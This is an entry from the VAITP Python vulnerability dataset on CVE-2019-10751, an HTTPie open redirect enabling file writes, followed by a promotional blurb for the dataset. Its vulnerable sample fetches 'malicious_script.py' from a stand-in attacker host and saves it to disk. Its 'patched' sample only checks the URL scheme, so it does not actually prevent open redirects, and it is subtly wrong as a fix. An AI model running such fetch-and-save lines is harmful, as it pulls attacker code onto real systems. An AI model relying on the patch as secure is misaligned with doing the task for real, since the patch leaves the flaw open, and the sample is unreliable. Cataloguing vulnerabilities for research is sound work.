CVE-2019-10751
HTTPie < 1.0.3: Open Redirect allows file write
- CVSS 8.8
- CWE-601 URL Redirection to Untrusted Site ('Open Redirect')
- Configuration Issues
- Remote
All versions of the HTTPie package prior to version 1.0.3 are vulnerable to Open Redirect that allows an attacker to write an arbitrary file with supplied filename and content to the current directory, by redirecting a request from HTTP to a crafted URL pointing to a server in his or hers control.
- CVSS base score
- 8.8
- Published
- 2019-08-23
- OWASP
- A10 Server-Side Request Forgery (SSRF)
- Orthogonal defect classification
- Function
- Code defect classification
- Incorrect Functionality
- Category
- Configuration Issues
- Subcategory
- Open Redirects
- Accessibility scope
- Remote
- Impact
- Unauthorized Access
- Affected component
- HTTPie
- Fixed by upgrading
- Yes
Solution
Update HTTPie to version 1.0.3 or higher.
Vulnerable code sample
import requests
def vulnerable_get(url):
# No validation of the URL, allowing open redirects
response = requests.get(url)
return response.text
# Example usage
content = vulnerable_get("http://attacker.com/malicious_script.py")
with open("malicious_script.py", "w") as f:
f.write(content)Patched code sample
import requests
def safe_get(url):
# Validate the URL to prevent open redirects
if not url.startswith(('http://', 'https://')):
raise ValueError("Invalid URL: must start with http:// or https://")
response = requests.get(url)
return response.text
# Example usage
try:
content = safe_get("http://example.com")
print(content)
except ValueError as e:
print(e)Cite this entry
@misc{vaitp:cve201910751,
title = {{HTTPie < 1.0.3: Open Redirect allows file write}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2019},
note = {VAITP Python Vulnerability Dataset, entry CVE-2019-10751},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2019-10751/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
